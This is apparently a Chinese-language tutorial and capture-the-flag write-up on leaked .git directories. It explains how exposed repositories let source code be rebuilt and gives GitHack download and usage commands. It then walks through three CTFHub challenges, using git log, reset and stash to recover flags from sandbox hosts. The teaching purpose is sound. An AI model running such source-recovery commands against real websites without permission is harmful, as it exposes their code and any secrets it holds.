复现漏洞前建议先学习一下Git基础再去复现,这样才会理解漏洞利用原理


漏洞介绍

漏洞形成

在运行git init命令初始化仓库时会在工作目录下产生一个名为.git的文件夹,该文件夹是Git用来存储代码变更记录等。在没有删除该文件夹时就对代码进行发布,这就导致了.git目录泄露,可以利用该文件夹对源代码进行恢复

漏洞原理

  1. 通过泄露的.git文件夹下的文件,还原重建工程源文件
  2. 解析.git/index文件,找到工程中所有的文件名、文件sha1
  3. .git/objects文件夹下下载对应的文件
  4. zlib解压文件,按原始的目录结构写入源代码

GitHack

项目介绍

GitHack是一个git泄露测试脚本,可以通过泄露的文件重建还原工程源代码,代码运行在Python2

工作原理

  1. 尝试获取packs克隆
  2. 尝试历遍所有克隆
  3. 尝试从缓存文件indexcommit记录中恢复

用法示例

下载GitHack

1
2
3
4
5
# Github下载(较慢)
git clone https://github.com/BugScanTeam/GitHack.git

# 镜像Github下载(国内加速)
git clone https://hub.fastgit.org/BugScanTeam/GitHack.git

使用示例

1
python2 GitHack.py http(s)://xxx/.git/

漏洞演练

CTFHub-log

(注意: CTFHub里面的题目是会变动的,flag也会变,注意项目的版本号与还原出来的文件名)

使用GitHack将文件复原,复原的文件会在dist/xxx/目录下

1
python2 GitHack.py http://challenge-4b38633eacfb8d28.sandbox.ctfhub.com:10800/.git/

image-20211128201917796

查看该项目的日志,可以看到有一个版本的说明为add flag,怀疑是添加了flag…

1
git log

image-20211128202146449

尝试将项目回退到该版本,发现了文件32323689020801.txt

1
git reset --hard 662e3670a54e699e5724d00975363ca8eeea118f

image-20211128202507210

CTFHub-Stash

使用GitHack将文件复原,复原的文件会在dist/xxx/目录下

1
python2 GitHack.py http://challenge-972bd73f55d8b38b.sandbox.ctfhub.com:10800/.git/

image-20211128203643732

使用上一题的方法发现flag不在该处

image-20211128203928910

尝试查看现有的stash,发现存在一条stash

1
git stash list

使用pop重新应用缓存的stash,发现master分支下的2800536510995.txt文件发生了改变

1
git stash pop

image-20211128204713851

CTFHub-Index

使用GitHack将文件复原,复原的文件会在dist/xxx/目录下

1
python2 GitHack.py http://challenge-8c5ada501d65fb4a.sandbox.ctfhub.com:10800/.git/

image-20211128205737565

在恢复出来的源代码中的16925331427615.txt文件中查看到flag

image-20211128205948580

0.png)